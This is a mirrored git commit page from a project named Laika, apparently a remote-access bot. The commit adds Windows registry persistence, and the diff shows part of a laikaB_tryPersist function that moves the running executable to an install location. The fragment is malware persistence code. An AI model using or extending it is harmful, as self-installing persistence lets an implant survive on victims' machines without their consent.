1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-02 06:20:05 +00:00

Windows: Persistence via windows registry

This commit is contained in:
2022-04-22 17:20:31 -05:00
parent e80f007df9
commit 64f7e40fa0
4 changed files with 108 additions and 18 deletions

View File

@@ -121,8 +121,8 @@ void laikaB_tryPersist() {
getCurrentExe(exePath, PATH_MAX);
getInstallPath(installPath, PATH_MAX);
/* move exe to install path */
if (rename(exePath, installPath))
/* move exe to install path (if it isn't there already) */
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);